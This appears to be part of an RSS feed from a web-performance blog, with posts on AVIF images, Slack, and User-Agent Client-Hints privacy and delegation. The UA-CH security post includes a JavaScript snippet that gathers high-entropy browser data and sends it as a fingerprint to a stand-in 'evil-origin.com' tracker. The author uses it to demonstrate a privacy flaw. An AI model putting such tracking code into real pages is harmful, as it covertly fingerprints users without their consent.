<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="361" height="296" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-33-20.png" alt="avif next-gen image format" class="wp-image-4413" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-33-20.png 361w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/AV1-Image-File-Format-AVIF-Google-Docs-2020-10-16-14-33-20-300x246.png 300w" sizes="auto, (max-width: 361px) 100vw, 361px" /></figure></div>



<p>On average WEBP is better than JPEG, and AVIF is better than WEBP. This is true until you encounter the corner cases. This might be OK for most of us, but for ecommerce and other industries where you manage thousands of images that are crucial to business results, it might be too soon to start converting all images to AVIF. You can of course choose to maintain all formats, JPEG, WEBP and AVIF, but like <a href="https://jakearchibald.com/2020/avif-has-landed/">Jake Archibald</a> from Google says:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>“Unless it&#8217;s automated, offering up 3 versions of the same image is a bit of a pain, but the savings here are pretty significant, so it seems worth it, especially given the number of users that can already benefit from AVIF.”</p></blockquote>



<p>An <a href="https://imageengine.io/">image CDN like ImageEngine with AVIF support</a> is the safest bet when you want to relieve yourself of the pain of managing multiple image formats and at the same time be certain that your users get the best visual quality at the lowest file size.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Where would we be without Slack?</title>
		<link>https://mpulp.mobi/2020/11/03/where-would-we-be-without-slack/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Tue, 03 Nov 2020 12:34:37 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[reflection]]></category>
		<category><![CDATA[slack]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4422</guid>

					<description><![CDATA[I&#8217;ve always been working with remote teams. For this reason probably, I like to try new ways to collaborate. Skype was a hit for a long time. Yammer too. But then came Slack. First release of the Slack app was done in 2013. A year later, it had already been on the radar for a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>I&#8217;ve always been working with remote teams. For this reason probably, I like to try new ways to collaborate. Skype was a hit for a long time. Yammer too. But then came Slack.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="531" height="237" src="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/https___slack_com__-_jonarne_scientiamobile_com_-_ScientiaMobile_Mail.png" alt="" class="wp-image-4420" srcset="https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/https___slack_com__-_jonarne_scientiamobile_com_-_ScientiaMobile_Mail.png 531w, https://mpulp.cdn.imgeng.in/wp-content/uploads/2020/10/https___slack_com__-_jonarne_scientiamobile_com_-_ScientiaMobile_Mail-300x134.png 300w" sizes="auto, (max-width: 531px) 100vw, 531px" /><figcaption>Email from when I introduced Slack to my team</figcaption></figure>



<p>First release of the Slack app was done in <a href="https://en.wikipedia.org/wiki/Slack_(software)">2013</a>. A year later, it had already been on the radar for a while. </p>



<p>Slack doesn&#8217;t only replace Skype and Yammer. Through its numerous apps and integrations it&#8217;s the hub of everything that goes on in an organisation. Potentially replacing, WIKIs, chats, video conference tools, email, phone etc.</p>



<p>Today, I not only use Slack professionally, but also for other side projects and friend groups <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>User-Agent Client-Hints Security Concerns</title>
		<link>https://mpulp.mobi/2020/05/27/user-agent-client-hints-security-concerns/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Wed, 27 May 2020 12:54:55 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[client hints]]></category>
		<category><![CDATA[feature-policy]]></category>
		<category><![CDATA[permission-policy]]></category>
		<category><![CDATA[UA-CH]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4391</guid>

					<description><![CDATA[User-Agent Client-Hints (UA-CH)&#160;are just around the corner. The Chrome teams original plan was to deprecated the user-agent header and have it replaced by UA-CH.&#160;The motivation was privacy.&#160; The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/">User-Agent Client-Hints (UA-CH)</a>&nbsp;are just around the corner. The Chrome teams original plan was to deprecated the user-agent header and have it replaced by UA-CH.&nbsp;<a href="https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/-2JIRNMWJ7s/yHe4tQNLCgAJ">The motivation was privacy</a>.&nbsp;</p>



<p class="has-small-font-size"><em>The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies (&laquo;Mozilla/5.0&raquo;, anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.</em></p>



<p>The&nbsp;<a data-external="true" href="https://wicg.github.io/ua-client-hints/">current implementation if UA-CH</a>, provide access to the hints either through&nbsp;<a data-external="true" href="https://wicg.github.io/ua-client-hints/#http-ua-hints">HTTP headers</a>, or through a&nbsp;<a data-external="true" href="https://github.com/WICG/ua-client-hints#for-example">JavaScript API</a>.</p>



<p class="has-medium-font-size">The one alternative is gated, the other wide open&#8230;</p>



<h2 class="wp-block-heading" id="toc_1">Security Mechanisms for UA-CH as HTTP Headers in place</h2>



<p>The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention.&nbsp;</p>



<p>The UA-CH attempts to solve this by the already existing&nbsp;<a href="https://httpwg.org/http-extensions/client-hints.html#advertising-server-support">opt-in mechanism</a>&nbsp;in the Client Hints specification combined with&nbsp;<a href="https://wicg.github.io/ua-client-hints/#delegation">permission policy delegation</a>&nbsp;of hints. Even if this solution does not offer any alternative to the User-Agent on&nbsp;<a href="https://github.com/WICG/ua-client-hints/issues/66">the first navigation request</a>, the Chrome team seems fixed on this idea.</p>



<p>Anyway, the important thing is that&nbsp;<em>there is some</em>&nbsp;security baked in. The high entropy hints are not available by default.</p>



<h2 class="wp-block-heading" id="toc_2">Access to UA-CH through JavaScript API is Wide Open</h2>



<p><strong>In Chrome version 85 I&#8217;m able to read all User-Agent Client-Hints without restrictions.</strong></p>



<p>The spec says this about&nbsp;<a href="https://wicg.github.io/ua-client-hints/#access">Access restrictions</a>:</p>



<p class="has-small-font-size"><em>User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.</em></p>



<h3 class="wp-block-heading" id="toc_3">No opt-in</h3>



<p>To get access to the UA-CH through the JavaScript API, no opt-in is required. All high entropy data points are exposed to everyone, even 3rd parties!&nbsp;</p>



<p>No additional effort is needed by any party to get access to the high entropy data points.</p>



<h3 class="wp-block-heading" id="toc_4">No User Approval</h3>



<p>The only hope for the future is that the access to the high entropy hints are provided through a&nbsp;<a href="https://wicg.github.io/ua-client-hints/#interface">promise</a>, which offers an asynchronous &laquo;hook&raquo; for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.</p>



<h3 class="wp-block-heading" id="toc_5">No Delegation Through Permission Policies</h3>



<p>The HTTP hints are only available at the 1st party origin by default. A&nbsp;<a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/">Permission Policy</a>&nbsp;is a way to restrict or allow access to certain browser features. However, access to UA-CH through the JavaScript API is not covered by the Permission Policy implementation. That means, that you can restrict a 3rd party server from receiving high entropy information about your users through HTTP headers, but the 3rd party server can still access the information through JavaScript.</p>



<h2 class="wp-block-heading" id="toc_6">Inconsistent Privacy Model</h2>



<p>Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through&nbsp;<code>navigator.userAgentData.getHighEntropyValues()</code>, a few questions comes to mind:</p>



<ol class="wp-block-list"><li>Why does Permission Policy only apply to UA-CH provided by HTTP headers and not the JavaScript API?</li><li>Why is there no Opt-in using&nbsp;<code>accept-ch</code>&nbsp;or similar?</li><li>Why is there no user approval implemented in browsers when scripts are trying to access&nbsp;<code>navigator.userAgentData.getHighEntropyValues()</code>? .</li><li>Why is the spec so vague on the topic of gating the UA-CH client side?</li><li>Are UA-CH in HTTP headers considered a higher risk than in JavaScript?</li><li>Why aren’t the same information protected by the same mechanisms client side and server side?&nbsp;</li></ol>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" alt="🤔" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>There is an&nbsp;<a href="https://github.com/WICG/ua-client-hints/issues/37">open issue on github&nbsp;</a>covering this topic.</p>



<p>DEMO: Here is a simple demo that access the high entropy data through the JavaScript API and mimics a request to a third party tracking pixel:&nbsp;<a href="https://dapper-handsome-ziconium.glitch.me/">https://dapper-handsome-ziconium.glitch.me/</a>. <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f448-1f3fb.png" alt="👈🏻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Remember to test it on Chrome version 84 or higher.</p>



<p>Basically, it&#8217;s very easy to do things like link decoration:</p>



<pre class="wp-block-code"><code>  navigator.userAgentData.getHighEntropyValues(&#91;"architecture","model","platform","platformVersion","uaFullVersion"]).then(function() {
        var image = document.createElement('img');
        image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments&#91;0])+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
        document.getElementById("myid").appendChild(image);
      });</code></pre>



<h2 class="wp-block-heading">Conclusion </h2>



<p><strong>I&#8217;d expect parity between the JavaScript API and the HTTP headers when it comes to availability, security and permissions</strong>. Right now it&#8217;s not.</p>



<p><strong>I&#8217;d expect Permission Policy to govern access and delegation to the UA-CH through JavaScript</strong>. After all, these new data points, combined with oter information freely available on the client side, provide a pretty good fingerprint. Much more accurate than what is possible on the server side, even&nbsp;<em>with</em>&nbsp;the UA-CH. The Client Hints infrastructure clearly says that&nbsp;<a href="https://wicg.github.io/client-hints-infrastructure/#policy-controlled-features">UA-CH are policy controlled</a>. That is not the case currently</p>



<p><strong>I&#8217;d expect 3rd parties, i.e. iframes, or 3rd party scripts not to have access to the UA-CH JavaScript API unless explicitly allowed</strong>.</p>



<p><strong>I&#8217;d be pleasantly surprised if the opt-in (<code>accept-ch</code>) also was required to receive high entropy data through UA-CH JavaScript API</strong>.</p>



<p><strong>I&#8217;d rather&nbsp;<em>not</em>&nbsp;see yet another popup asking the user for permission to access high entropy data</strong>. With&nbsp;<a href="https://user-images.githubusercontent.com/1271364/47662588-8e4d0600-db71-11e8-974c-c2eabf5bff4e.png">geolocation</a>,&nbsp;<a href="https://www.trishtech.com/wp/wp-content/uploads/2014/10/disable-cookie-popup-0.jpg">cookies</a>&nbsp;and camera etc., we already have&nbsp;<strong>notification fatigue</strong>. T&amp;C anyone?</p>



<p>Not to address these issues seems like a lost opportunity to make it right from the beginning. Avoiding to stumble into a JavaScript-UA-CH-sniffing-ditch like we&#8217;ve seen with the User-Agent.&nbsp;</p>



<p>On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players. </p>



<p>Giving every single frontend developer access to UA-CH client side, seems like a huge security-, privacy-, and functionality risk to me.</p>



<p class="has-medium-font-size"><strong>If Chrome v85 reaches stable in its current form, I&#8217;m in the market for a new browser.</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Delegate User-Agent Client-Hints to 3rd Parties</title>
		<link>https://mpulp.mobi/2020/05/27/delegate-user-agent-client-hints-to-3rd-parties/</link>
		
		<dc:creator><![CDATA[Jon Arne Sæterås]]></dc:creator>
		<pubDate>Wed, 27 May 2020 09:51:34 +0000</pubDate>
				<category><![CDATA[stuff]]></category>
		<category><![CDATA[client hints]]></category>
		<category><![CDATA[feature-policy]]></category>
		<category><![CDATA[permission-policy]]></category>
		<category><![CDATA[UA-CH]]></category>
		<guid isPermaLink="false">https://mpulp.mobi/?p=4383</guid>

					<description><![CDATA[&#x203c;&#xfe0f; Note: there is an updated version of this article here. User-Agent Client Hints (UA-CH) has been hot in the Chrome camp lately. Motivated by the&#160;sudden urge to deprecate the User-Agent request header&#160;due to privacy concerns. With Chrome version 84 and higher, the plumbing with&#160;delegation through feature- or permission policies&#160;is implemented. Delegating UA-CH to a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/203c.png" alt="‼" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Note: there is an <a href="https://mpulp.mobi/2021/03/12/user-agent-client-hints-delecation-permissions-policy/">updated version of this article here</a>.</strong></p>



<p><a href="https://wicg.github.io/ua-client-hints/">User-Agent Client Hints (UA-CH)</a> has been hot in the Chrome camp lately. Motivated by the&nbsp;<a href="https://mpulp.mobi/2020/01/16/client-hints-replacing-the-user-agent/">sudden urge to deprecate the User-Agent request header</a>&nbsp;due to privacy concerns. With Chrome version 84 and higher, the plumbing with&nbsp;<a href="https://mpulp.mobi/2020/05/20/client-hints-and-feature-policies/">delegation through feature- or permission policies</a>&nbsp;is implemented.</p>



<p>Delegating UA-CH to a third party server is similar to how delegating other client hints work, but with some caveats.&nbsp;</p>



<p><em>Stragely, the JavaScript API to access the hints client side&nbsp;<code>navigator.userAgentData.getHighEntropyValues()</code>&nbsp;is not protected by any opt-in, permission policy or user interaction&#8230;</em></p>



<p>To delegate UA-CH to third parties the steps are as follows:</p>



<h2 class="wp-block-heading" id="toc_1">1. Opt-in to Receive UA-CH</h2>



<p>The server has to announce support for client hints. For UA-CH this is not any different than for other hints. The server simply responds with an&nbsp;<a href="https://httpwg.org/http-extensions/client-hints.html#accept-ch"><code>Accept-CH</code>&nbsp;header</a>&nbsp;listing the hints supported:</p>



<p><code>Accept-CH: ua-platform,ua-arch,ua-model,ua-platform-version,ua-full-version</code></p>



<p>This will ask the user-agent to send the requested hints to all subsequent requests to the same origin who made the request.&nbsp;</p>



<p>But this is not what we want&#8230; If the origin is&nbsp;<code>foo.com</code>, we want the hints to be sent to&nbsp;<code>bar.foo.com</code>too&#8230;</p>



<p>In order to do that, we need to make sure the browser sends the hints to&nbsp;<code>bar.foo.com</code>&nbsp;too. This is done through a feature policy header:</p>



<h2 class="wp-block-heading" id="toc_2">2. Delegate Hints Using Feature Policy</h2>



<p><em>At the time of writing, the mechanism for enabling or disabling features in browsers is called&nbsp;<a href="https://w3c.github.io/webappsec-feature-policy/">Feature Policy</a>. This will at some point in the future change name to Permission Policy</em></p>



<p>Note that the hints&nbsp;<code>ua-mobile</code>&nbsp;and&nbsp;<code>ch-ua</code>&nbsp;does not need to be delegated through feature policies. These headers are available by default and are meant to make an alternative to the&nbsp;<code>User-Agent</code>header.</p>



<p>To delegate the User-Agent Client Hints to a 3rd party we need to add the&nbsp;<code>Feature-Policy</code>&nbsp;header to the response along with the&nbsp;<code>Accept-CH</code>&nbsp;header:</p>



<pre class="wp-block-code"><code>Feature-Policy: ch-ua-arch https://bar.foo.com;ch-ua-model https://bar.foo.com;ch-ua-platform https://bar.foo.com;ch-ua-platform-version https://bar.foo.com;ch-ua-full-version https://bar.foo.com</code></pre>



<p>Here&#8217;s the first caveat. Note that the hints are prefixed with&nbsp;<code>ch-</code>. Even if the hint is named&nbsp;<code>ua-arch</code>&nbsp;in the&nbsp;<code>Accept-CH</code>&nbsp;header, it is delegated to the third party as&nbsp;<code>ch-ua-arch</code>.&nbsp;</p>



<p>The 3rd party does not have to announce support for hints or opt in to receiving hints. All hints are sent regardless.</p>



<p>The second caveat is that the hints specified in the policy are&nbsp;<a href="https://wicg.github.io/client-hints-infrastructure/#client-hints-token-definition">case sensitive</a>&nbsp;and must be lowercase! This is true for all client hints, not only UA-CH.</p>



<h2 class="wp-block-heading" id="toc_3">3. Read the Request Headers at the 3rd Party</h2>



<p>By now the 3rd party should receive the hints specified in the policy as request headers.</p>



<p>Here&#8217;s another caveat. The UA-CH header names are now prefixed yet another time. Now with&nbsp;<code>sec-</code>. The hint&nbsp;<code>ua-arch</code>&nbsp;we opted in for in step 1 reveals itself as&nbsp;<code>sec-ch-ua-arch</code>. Yea, I know&#8230;&nbsp;<a href="https://wicg.github.io/ua-client-hints/#sec-ch">Here&#8217;s the reason</a>.</p>



<p>The request headers to the 3rd party may now look something like this:</p>



<pre class="wp-block-code"><code>sec-ch-ua-full-version: "85.0.4156.0"
sec-ch-ua-arch: ""
sec-ch-ua-platform: "Mac OS X"
sec-ch-ua-platform-version: "10_13_6"
sec-ch-ua-model: ""
sec-ch-ua-mobile: ?0
sec-ch-ua: "\\Not;A\"Brand";v="99", "Google Chrome";v="85", "Chromium";v="85"</code></pre>



<h2 class="wp-block-heading" id="toc_4">How does UA-CH work?</h2>



<p>I put together this demo on glitch.com:&nbsp;<a href="https://glen-wistful-protoceratops.glitch.me/" target="_blank" rel="noreferrer noopener">https://glen-wistful-protoceratops.glitch.me/</a></p>



<p><strong>Make sure to test in a supporting browser, like Chrome v 84 or higher</strong>.</p>



<p>You&#8217;ll notice that hints are sent on the first request to the 3rd party iframe.</p>



<div class="glitch-embed-wrap" style="height: 486px; width: 100%;">
  <iframe allow="ch-ua-arch; geolocation; microphone; camera; midi; encrypted-media" src="https://glitch.com/embed/#!/embed/glen-wistful-protoceratops?previewSize=100&amp;previewFirst=true&amp;sidebarCollapsed=true" alt="glen-wistful-protoceratops on Glitch" style="height: 100%; width: 100%; border: 0;">
  </iframe>
</div>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/261d-1f3fb.png" alt="☝🏻" class="wp-smiley" style="height: 1em; max-height: 1em;" /> make sure to open this demo in a separate window <a rel="noreferrer noopener" href="https://glen-wistful-protoceratops.glitch.me/" target="_blank">https://glen-wistful-protoceratops.glitch.me/</a></strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>